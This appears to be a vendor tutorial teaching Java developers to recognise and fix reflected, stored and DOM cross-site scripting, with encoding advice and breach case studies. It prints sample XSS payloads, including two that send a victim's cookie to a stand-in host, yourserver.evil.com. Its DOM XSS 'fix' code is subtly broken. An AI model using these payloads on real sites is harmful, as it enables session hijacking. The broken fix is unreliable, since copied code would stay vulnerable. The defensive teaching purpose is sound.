XSS (Cross Site Scripting) Primer for Java Developers

OGNL Injection

A Cross-Site Scripting (XSS) attack is a malicious attack against the victim’s browser. It injects malicious scripts created by an attacker to steal credentials, hijack the user session, or try to download and install other malicious software on the victim’s computer. It is one of the most common attacks on the web. Any input mechanism from the browser including forms and URL parameters can be used to insert a payload that can then be transmitted back to the browser. Any input from the browser must be considered potentially malicious.

XSS Impact

Several impacts that result from successful Cross-Site Scripting (XSS) attacks for web-based applications.

These include:

  • Account Hijacking
  • Credential Harvesting
  • Remote Command Execution
  • Exposure of Sensitive Data
  • Installation of Malicious Software
Account Hijacking

This is the worst possible result of an XSS attack. In this situation, the XSS attack can capture the users session cookie allowing the attacker to take over the users session. Once the attacker owns the session they can change do anything the valid user can do including changing the users’ account credentials to stop the owner from gaining access. Alternatively, the attacker could steal or even change the users’ data without their knowledge.6

Remote Command Execution (RCE)

Remote Command Execution (RCE) or command injection is an attack where system level commands can be invoked by a remote attacker. In this case, the XSS delivery of a script executed on the users’ behalf can then inject backdoor code depending on the supporting framework (for example, PHP Backdoor into WordPress).13

Credential Harvesting

Another frequently used XSS attack mechanism installs a script redirecting unsuspecting users to another site that would appear to be a login page for the site they were on. Only upon close inspection would the user determine that the page they were viewing was hosted on a site hosted by the attack and made to look like the site they were on. Once at the malicious copy, the user is prompted for their credentials. Once the victim’s credentials are harvested the attacker can log into the user’s account, change the password, and change or expose sensitive data.12

Exposure of Sensitive Data

Once the account is compromised the attacker has all the privileges the normal user would have including access to all their data. Depending on the sensitivity, the data could be sold to a competitor, used to affect market prices, or modified without the owner knowing.

Installation of Malicious Software

Once the attacker has control of the victim’s browser several scenarios can occur with the installation of malicious software. These include turning the victim’s computer into a slave of a botnet, scanning the victim’s network, installing a key logger to record every key typed, or enabling the computer to be used as a launching point for further attack

Testing for XSS in Java

Testing for XSS by developers can be performed during development and can be performed from a blackbox (using the feature) and whitebox (reviewing code) perspective. Developers have a larger focus on whitebox.

Developer testing can consist of:

  • code review
  • using automated and manual-assist static code analysis tools (Check out reshift)
  • recognizing untrusted input sources
  • recognizing data flow from untrusted sources to a consumption endpoint (sinks)
  • ensuring that from source to sink that validation occurs
  • ensuring that any data from an untrusted source is encoded/escaped prior to transmission to the browser
Recognizing Untrusted Input

Anything from the browser/client must be treated as untrusted including parameter values, parameter names, and HTTP headers.

Input parameter values

The classic XSS attack case is of an input HTTP Parameter value processed by the server, stored, and then reflected back the browser client without input validation, or output encoding/escaping.

Want to test your Java code?

Java Specific XSS Examples

  • A server receives a parameter and returns the parameter of an HTTP request and is rendered in the HTML of the response. The input is not validated, the output is not encoded or escaped.

  • The expected valid request:

http://mysite.com?username=johnsmith
  • The Malicious Attack: 
http://mysite.com?username=</div><script>alert(document.cookie)</script>
  • If the server renders the request in the page directly:
<html>
<head>
 <title>Welcome to Our Web Application</title>
</head>
<body>
<div>Welcome <%= request.getParameter("username")%></div>
</body>
</html>
  • If the server renders the request in the page directly:
<html>
<head>
 <title>Welcome to Our Web Application</title>
</head>
<body>
<div>Welcome <%= request.getParameter("username")%></div>
</body>
</html>
  • The result displays the session cookies showing that the site is vulnerable.

  • A real attack could provide an alternate payload to exfiltrate the session cookie by including as a parameter request to another server such as:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

Or

<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://yourserver.evil.com/?'+document.cookie>
  • To correct this Reflected XSS attack in the HTML context our code must perform two things.
    • First input validation (for a valid username) and
    • Second, encode this untrusted source before displaying in the context that it is rendered in.
  • To perform input validation,
    • Determine the expected characters that all usernames must adhere to. Character set, uppercase, lower case, numbers. Determine the enforced format and add code to ensure that the provided username matches that format
      • For example /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/ assumes the username can contain only ASCII letters and digits, with hyphens, underscores and spaces as internal separators
    • If the input is a valid format, confirm that there is a user in the system with that username?
  • Finally, encode the input prior to rendering in the document, below shows encoding for an HTML context:
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
<div>Welcome <%= ESAPI.encoder().encodeForHTML(request.getParameter("username")) %></div>
</body>
</html>
Stored XSS
  • The attack payload is provided as untrusted input the same as reflected XSS however the server stores the attack payload in its backend database
  • For example, what if a website has a comments section in a web form. When the user click submit the HTML could look like this:
POST /article/comment HTTP/1.1
Host: yourserver.com
Conent-length: 50

comment=I+like+your+website
  • The server then retrieves this comment any time a visitor views the comments page and builds a page that renders the information.
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
  <div class="comment">I like your website</div>
</body>
</html>
  • But what if an attacker provided this comment:
POST /article/comment HTTP/1.1
Host: yourserver.com
Conent-length: 50

comment=%3C%2Fdiv%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
  • This would render as:
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
  <div class="comment"></div><script>alert(document.cookie)</script>
</body>
</html>
  • Any user who browsed to this comment would have the script run in their browser
  • To correct this Stored XSS attack in the HTML context our code must perform two things.
    • First input validation (for a valid username) and
    • Second, encode this untrusted source before displaying in the context that it is rendered in.
  • To perform input validation,
    • Determine the expected characters that your input must adhere to. Character set, uppercase, lower case, numbers. Determine the enforced format and add code to ensure that the provided username matches that format
      • For example /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/ assumes the comment can contain only ASCII letters and digits, with hyphens, underscores and spaces as internal separators
  • Finally, encode the input prior to rendering in the document, below shows encoding for an HTML context
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {

  String comment = req.getParameter("comment");
  String encoded = ESAPI.encoder().encodeForHTML(comment);
   ..
}
DOM XSS
  • In DOM XSS the malicious content attacks valid scripts in the victim’s browser by modifying content in the browser’s Document Object Model (DOM) environment.

  • For example, perhaps there is a page:

Choose your Region:
<select>
  <script>
    document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
    document.write("<OPTION value=2>EU</OPTION>");
  </script>
</select>
  • A normal user could enter an expected value such as:

http://www.thissite.com/page.html?default=APAC

  • But an attacker could create the following URL and send it to the victim with a compelling message:

http://www.thissite.com//page.html?default=<script>alert(document.cookie)</script>

  • The script associated with the page renders the attack directly

  • To correct DOM XSS attack in the HTML context our code must perform two things.

    • First input validation (for a valid username) and
    • Second, encode this untrusted source before displaying it in the context that it is rendered in.
  • To perform input validation,

    • Determine the expected characters that your input must adhere to. Character set, uppercase, lower case, numbers etc. Determine the enforced format and add code to ensure that the provided input matches that format
      • For example in this case, the expectation is specific regions of the world, ‘EU’, ‘NA’, ‘SA’, ‘APAC’. In such a case it’s trivial to ensure that the input matches from the finite list.
  • Finally, the untrusted input must be encoded appropriately for the target environment. Since this is a target affecting the DOM then you must HTML Escape and then JavaScript escape the untrusted data before inserting into the HTML context.29

<script>
  document.write("<OPTION value=1>"+document.location.href.substring (DefaultEncoder.encodeForJavascript(DefaultEncoder.encodeForHTML(document.location.href.indexOf("default=")+8))+"</OPTION>");
  document.write("<OPTION value=2>EU</OPTION>");
</script>

Preventing and Fixing XSS in Java

Generalized best practices for fixing and preventing Cross Site Scripting (XSS) attacks can be grouped into several categories. Categories are not an either/or else solution and can overlap to achieve full defence in depth. The categories are:

  • Input validation
  • Output encoding/escaping
  • Content Security Policy
  • Security Headers
  • Use of modern JS front end
  • HTTPOnly Cookie attribute
Input validation

Input validation can be used to prevent a number of different web application malicious attacks including XSS.16 Consider all external input as untrusted and validate that the data received is tested against a whitelist18 of known good syntaxes and semantics. Whitelist is preferable to a blacklist. Blacklisting tries to remove “known bad” characters (<,> etc)and can often be subverted by a tenacious experienced attacker. Regular expressions are often used for performing input validation.

Output Encoding/Escaping

Encoding converts data from one form to another following a system of rules. 22. We want to convert "dangerous characters" that can be used in XSS attack payloads to safe equivalents. To help, there are existing security encoding projects that focus on proper usage and avoids hidden pitfalls associated with specific browser implementations and obscure javascript rules.

  • OWASP Java Encoder Project24
  • Microsoft Anti-Cross Site Scripting Library23 which is part of the MS Web Protection Library,
  • .NET Library HTMLSanitizer25](../References/Business-en.md)

Creating your own libraries should be avoided as there are many complex and esoteric rules associated with encoding for browser consumption that the non-expert can miss which may lead to a vulnerability.

Be aware that proper encoding and escaping are different depending on where the data is being inserted into the response page. The different contexts are:

  • HTML Context
    • inserting data from an untrusted source between normal HTML tags (eg. div)
    • HTML Escape &, <, >, “, ‘, and /
  • HTML Simple Attribute Context
    • This case refers to the inserting data from an untrusted source into “simple” or “common” attributes of an HTML tag. These are NOT for attributes that are listed below (like event handlers, src, href)
    • Ensure all attribute are quoted (eg name=”content”) since attributes without quotes makes it easier for an attacker to insert their own HTML in the page (break out of the HTML Context)
    • Encode untrusted data, for example, using the ESAPI encodeForHTMLAttribute which encodes the given string for safe output for use in HTML attributes28
  • HTML Event Handler Context
    • Never put untrusted data inside an event handler (for example, onmouseover). Although HTML encoding will protect against breaking out of an HTML context the javascript engine will still execute the content.
    • javascript escape untrusted content prior to rendering with <script> objects or event attributes (eg. onerror)
    • consult the OWASP Java Encoder JavaScript
  • HTML URL Context (eg. href, src)
    • ensure the protocol and destination target an expected protocol and destination. Avoid inserting untrusted URLs containing javascript as a protocol (javascript://something.com). There is no reasonable method to prevent attacks from loading unexpected sources
    • Ensure the href attribute is quoted (eg href=”http://example.com“) since attributes without quotes makes it easier for an attacker to insert their own HTML in the page (break out of the HTML Context)
    • Ensure the untrusted source data is encoded for the HTML attribute context
  • CSS Context
    • Ensure untrusted input should only be used in a property value and not properties like -moz-binding, url, and behaviour
    • Ensure if the property is a URL that is does not use the ‘javascript’ protocol
    • Ensure that properties do not start with ‘expression’
    • Use CSS escaping such as encodeForCSS28
  • JavaScript Context
    • Ensure data from an untrusted source is only placed in a quoted data value.
    • There are some javascript functions that cannot safely use untrusted data, such as window.setInterval
    • Use an encoding library such as the ESAPI encodeForJavaScript28
Content Security Policy

A Content Security Policy (CSP) is a browser based mechanism that can define whitelists for all content in a web application. The CSP rules are passed to the browser using the defined HTTP Header called Content-Security-Policy.2627 CSP can enforce the source of some resources, for example, having a source whitelist of known trusted resource locations.

Security Headers

Many modern web browsers have some form of XSS detection. The X-XSS-Protection response header instructs compatible browsers21 to enable this feature. Since its is normally enabled by default this header gives the server control in case the user, or some other attack, has disabled this feature.20

Use of modern JS Front End Frameworks

Modern JavaScript front end frameworks such as Angular and React provide some XSS protection out of the box. For example, ReactJS Strings are escaped automatically and JSX allows you to pass a function as an event hander instead of a string. But there are also pitfalls as is the case with dangerouslySetInnerHTML which you should avoid using.s

HTTPOnly Cookie attribute

One of the goals of an XSS attack is to hijack the user’s session leading to control of the user’s account. Many systems use HTTP Cookies to manage user sessions which will be the target of an XSS attack. The HTTPOnly attribute of the Set-Cookie HTTP header instructs the browser to not allow scripts sent to the browser to read the session cookie.19

Companies that were faced with XSS attacks

EBay XSS Attacks

EBay auction site exposes user’s accounts via XSS vulnerability. The XSS vulnerability enabled a malicious script to be delivered to the victim’s browser via the description field which would redirect their browser to a attacker created credential harvesting site (a site hosted by the attack and made to look like the EBay site) which would prompt them to login.

British Airways

British Airways suffered a major breach in their online payment system affecting 380,000 customers using both their mobile and website systems. The attack exposed customer names, addresses, and all bank card details between August 21st and September 5th 2018. An XSS vulnerability enabled the attacker to inject a script to steal sensitive information. As a result BA faced a $220 million USD fine from GDPR legislation, a record at that time. In addition, BA faces the inevitable and popular class action lawsuit of $650 million USD.

Want to check your projects for free?

References

Dark Reading: With Data Breach Costs, Time is Money
Price Waterhouse Cooper: Consumer Intelligence Series: Protect.me
World Pay: How the consequences of a data breach threaten small businesses
Varonis Blog: Analyzing Company Reputation After a Data Breach: Varonis
Dionach Blog: The Real Impact of Cross-Site Scripting
OWASP: Cross-site Scripting
Trip Wire: IBM Study Shows Data Breach Costs are on the Rise
Polygon: Epic hit with class-action suit over hacked Fortnite accounts
Forbes: A Brief History Of Equifax Security Fails
F5 Labs: Breach Costs Are Rising with the Prevalence of Lawsuits
CSO Online: The biggest data breach fines, penalties and settlements so far
Info Security: EBay Under Fire After Cross Site Scripting Attack
The Register: Don’t be a WordPress RCE-hole and patch up this XSS vulnerability
OWASP: Reviewing Code for Cross-site scripting
Cheat Sheet Series: Cross Site Scripting Prevention
OWASP: Testing for Cross site scripting
Cheat Sheet Series: Input Valiation
OWASP: HttpOnly
Mozilla: X-XSS-Protection
Can I Use: Can I use… Support tables for HTML5, CSS3, etc.
OWASP: Java Encoder Project
GitHub Mganss/HtmlSanitizer: HtmlSanitizer
Content Security: Content Security Policy Reference
Cheat Sheet Series: Content Security Policy Reference
Java Doc: ESAPI Javadocs
GitHub OWASP Cheat Sheet: DOM Based XSS Prevention Cheat Sheet

Thanks for reading 🙂

Ready to get started?

Reshift helps you and your team secure your code.